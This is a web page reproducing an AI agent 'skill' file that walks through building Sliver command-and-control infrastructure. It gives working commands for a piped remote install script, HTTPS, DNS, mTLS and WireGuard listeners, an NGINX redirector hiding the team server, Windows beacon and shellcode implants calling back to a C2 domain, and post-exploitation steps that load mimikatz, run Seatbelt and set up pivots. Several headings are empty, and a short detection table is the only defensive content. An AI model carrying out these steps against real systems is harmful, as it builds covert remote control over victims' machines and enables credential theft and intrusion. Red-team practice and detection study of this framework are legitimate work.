Building c2 infrastructure with sliver framework

From yanacuti1121/Yana-AI · View interactive version

Building c2 infrastructure with sliver framework is an AI agent skill from the GitHub repository yanacuti1121/Yana-AI. Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.

How to use this skill

Skill file

Building C2 Infrastructure with Sliver Framework

Overview

Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.

When to Use

Prerequisites

Objectives

MITRE ATT&CK Mapping

Workflow

Phase 1: Team Server Deployment

  1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
  2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
  3. Install Sliver using the official install script:

```bash

curl https://sliver.sh/install | sudo bash

```

  1. Start the Sliver server daemon:

```bash

systemctl start sliver

# Or run interactively

sliver-server

```

  1. Generate operator configuration files for team members:

```bash

new-operator --name operator1 --lhost <team-server-ip>

```

Phase 2: Listener Configuration

  1. Configure an HTTPS listener with a legitimate SSL certificate:

```bash

https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem

```

  1. Configure a DNS listener for fallback C2:

```bash

dns --domains c2dns.example.com --lport 53

```

  1. Configure mTLS listener for high-security sessions:

```bash

mtls --lhost 0.0.0.0 --lport 8888

```

  1. Configure WireGuard listener for tunneled access:

```bash

wg --lport 51820

```

Phase 3: Redirector Setup

  1. Deploy a separate VPS as a redirector (positioned between targets and team server)
  2. Install and configure NGINX as a reverse proxy:

```nginx

server {

listen 443 ssl;

server_name c2.example.com;

ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;

ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;

location / {

proxy_pass https://<team-server-ip>:443;

proxy_ssl_verify off;

proxy_set_header Host $host;

proxy_set_header X-Real-IP $remote_addr;

}

}

```

  1. Configure iptables rules on the team server to only accept connections from the redirector:

```bash

iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT

iptables -A INPUT -p tcp --dport 443 -j DROP

```

  1. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting

Phase 4: Implant Generation

  1. Generate an HTTPS beacon implant:

```bash

generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload

```

  1. Generate a DNS beacon for restricted networks:

```bash

generate beacon --dns c2dns.example.com --os windows --arch amd64

```

  1. Generate a shellcode payload for injection:

```bash

generate --http https://c2.example.com --os windows --arch amd64 --format shellcode

```

  1. Configure beacon jitter and callback intervals:

```bash

generate beacon --http https://c2.example.com --seconds 60 --jitter 30

```

Phase 5: Post-Exploitation Operations

  1. Interact with active beacons/sessions:

```bash

beacons # List active beacons

use <beacon-id> # Interact with a beacon

```

  1. Execute post-exploitation modules:

```bash

ps # Process listing

netstat # Network connections

execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies

sideload /path/to/mimikatz.dll # Load DLLs

```

  1. Set up pivots for internal network access:

```bash

pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host

```

  1. Use BOF (Beacon Object Files) for in-memory execution:

```bash

armory install sa-ldapsearch # Install from armory

sa-ldapsearch -- "(objectClass=user)" # Execute BOF

```

Tools and Resources

| Tool | Purpose | Platform |

|------|---------|----------|

| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |

| Sliver Client | Operator console for team members | Cross-platform |

| NGINX | Redirector and reverse proxy | Linux |

| Certbot | Let's Encrypt SSL certificate generation | Linux |

| Cloudflare | CDN and domain fronting | Cloud |

| Armory | Sliver extension/BOF package manager | Built-in |

Detection Signatures

| Indicator | Detection Method |

|-----------|-----------------|

| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |

| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |

| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |

| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |

| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |

Validation Criteria

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.